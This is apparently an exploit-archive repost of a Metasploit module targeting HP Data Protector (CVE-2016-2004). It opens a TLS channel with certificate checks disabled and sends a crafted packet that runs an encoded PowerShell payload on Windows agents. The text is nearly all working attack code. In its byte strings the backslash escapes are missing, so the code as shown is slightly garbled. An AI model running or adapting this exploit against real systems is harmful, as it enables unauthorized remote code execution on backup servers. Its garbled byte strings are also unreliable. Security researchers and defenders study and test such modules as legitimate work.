Home / os / winmobile

HP Data Protector Encrypted Communication Remote Command Execution

Posted on 07 June 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'
require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell

def initialize(info={})
super(update_info(info,
'Name' => "HP Data Protector Encrypted Communication Remote Command Execution",
'Description' => %q{
This module exploits a well known remote code execution exploit after establishing encrypted
control communications with a Data Protector agent. This allows exploitation of Data
Protector agents that have been configured to only use encrypted control communications.

This exploit works by executing the payload with Microsoft PowerShell so will only work
against Windows Vista or newer. Tested against Data Protector 9.0 installed on Windows
Server 2008 R2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jon Barg', # Reported vuln (originally discovery?) credited by HP
'Ian Lovering' # Metasploit module
],
'References' =>
[
[ 'CVE', '2016-2004' ],
[ 'URL', 'http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05085988' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
],
'Payload' =>
{
'BadChars' => "x00"
},
'DefaultOptions' =>
{
'WfsDelay' => 30,
'RPORT' => 5555
},
'Privileged' => false,
'DisclosureDate' => "Apr 18 2016",
'DefaultTarget' => 0))
end

def check
# For the check command
connect
sock.put(rand_text_alpha_upper(64))
response = sock.get_once(-1)
disconnect

if response.nil?
return Exploit::CheckCode::Safe
end

service_version = Rex::Text.to_ascii(response).chop.chomp

if service_version =~ /HP Data Protector/
vprint_status(service_version)
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe

end

def generate_dp_payload
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ remove_comspec: true, encode_final_payload: true })

payload =
"x32x00x01x01x01x01x01x01" +
"x00x01x00x01x00x01x00x01" +
"x01x00x20x32x38x00x5cx70" +
"x65x72x6cx2ex65x78x65x00" +
"x20x2dx65x73x79x73x74x65" +
"x6d('#{command}')x00"

payload_length = [payload.length].pack('N')

return payload_length + payload
end

def exploit
# Main function
encryption_init_data =
"x00x00x00x48xffxfex32x00x36x00x37x00x00x00x20x00" +
"x31x00x30x00x00x00x20x00x31x00x30x00x30x00x00x00" +
"x20x00x39x00x30x00x30x00x00x00x20x00x38x00x38x00" +
"x00x00x20x00x6fx00x6dx00x6ex00x69x00x64x00x6cx00" +
"x63x00x00x00x20x00x34x00x00x00x00x00"

print_status("Initiating connection")

# Open connection
connect

# Send init data
sock.put(encryption_init_data)
begin
buf = sock.get_once
rescue ::EOFError => e
elog("#{e.class} #{e.message}
#{e.backtrace * "
"}")
end

print_status("Establishing encrypted channel")

# Create TLS / SSL context
sock.extend(Rex::Socket::SslTcp)
sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE

sock.sslctx.options = OpenSSL::SSL::OP_ALL

# Enable all ciphers as older versions of Data Protector only use
# some not enabled by default
sock.sslctx.ciphers = "ALL"

# Enable TLS / SSL
sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
sock.sslsock.connect

print_status("Sending payload")

# Send payload
sock.put(generate_dp_payload(), {timeout: 5})

# Close socket
disconnect

print_status("Waiting for payload execution (this can take up to 30 seconds or so)")
end

end

 

TOP